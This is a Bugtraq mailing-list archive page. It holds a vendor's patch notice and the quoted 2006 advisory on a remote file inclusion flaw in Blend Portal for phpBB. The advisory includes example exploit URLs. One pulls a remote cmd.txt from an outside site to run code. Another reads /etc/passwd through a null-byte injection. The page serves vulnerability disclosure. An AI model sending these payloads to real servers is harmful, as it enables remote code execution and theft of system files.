Bugtraq mailing list archives
RE: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability
From: "austin best" <austin_inc () hotmail com>
Date: Mon, 29 May 2006 12:52:22 +0000
I have addressed this issue & the one reported about the Activity Mod Plus. Below is a link to patches for both. Thanks.
http://phpbb-tweaks.com/topics.html-p-17623#17623 Thanks For Your E-Mail aUsTiN & Staff For an interactinve phpBB Support board http://phpbb-tweaks.com/ For a phpBB based portal & support http://phpbb-portal.com/ For a phpBB based gaming system & support http://phpbb-amod.com/ http://aUsTiN-Inc.net/
From: Mustafa Can Bjorn IPEKCI <nukedx () nukedx com>To: submit () milw0rm com, full-disclosure () lists grok org uk,bugtraq () securityfocus com, austin_inc () hotmail com Subject: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion VulnerabilityDate: Sun, 28 May 2006 20:46:39 +0300 MIME-Version: 1.0Received: from king.anope.net ([67.15.88.53]) by bay0-mc10-f9.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.1830); Sun, 28 May 2006 10:54:44 -0700Received: (qmail 1602 invoked from network); 28 May 2006 20:46:45 +0300Received: from localhost (@127.0.0.1) by localhost with SMTP; 28 May 2006 20:46:44 +0300 Received: from 85.103.237.117 ([85.103.237.117]) by webmail.nukedx.com(Horde MIME library) with HTTP; Sun, 28 May 2006 20:46:39 +0300X-Message-Info: LsUYwwHHNt3IkD50dWx1Zh4q3nci+v36uLgoVBpjm50= User-Agent: Internet Messaging Program (IMP) H3 (4.1) Return-Path: nukedx () nukedx comX-OriginalArrivalTime: 28 May 2006 17:54:44.0992 (UTC) FILETIME=[CDAF6800:01C6827F]--Security Report--Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability.--- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 28/05/06 07:52 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx () nukedx com Web: http://www.nukedx.com } --- Vendor: phpbb-portal (http://www.phpbb-portal.com/) Version: 1.2.0 and prior versions must be affected.About: Via this methods remote attacker can include arbitrary internal/external files to phpBB. phpbb_root_path variable in /blend_data/blend_common.php did not sanitized properly before using it.You can find vulnerable code inblend_common.php at lines 74-77 -Source in blend_common.php- 74: else 75: {76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH .'config.'. $phpEx);77: } -End of source- Level: Highly Critical --- How&Example: Succesful exploitation needs register_globals on & allow url_fopen onGET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=/etc/passwd%00--- Timeline: * 28/05/2006: Vulnerability found. * 28/05/2006: Contacted with vendor and waiting reply. --- Exploit: http://www.nukedx.com/?getxpl=41 --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=41
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Current thread:
- Advisory: Blend Portal <= 1.2.0 for phpBB 2.x (blend_data/blend_common.php) File Inclusion Vulnerability Mustafa Can Bjorn IPEKCI (May 29)
- RE: Advisory: Blend Portal <= 1.2.0 for phpBB 2.x(blend_data/blend_common.php) File Inclusion Vulnerability austin best (May 29)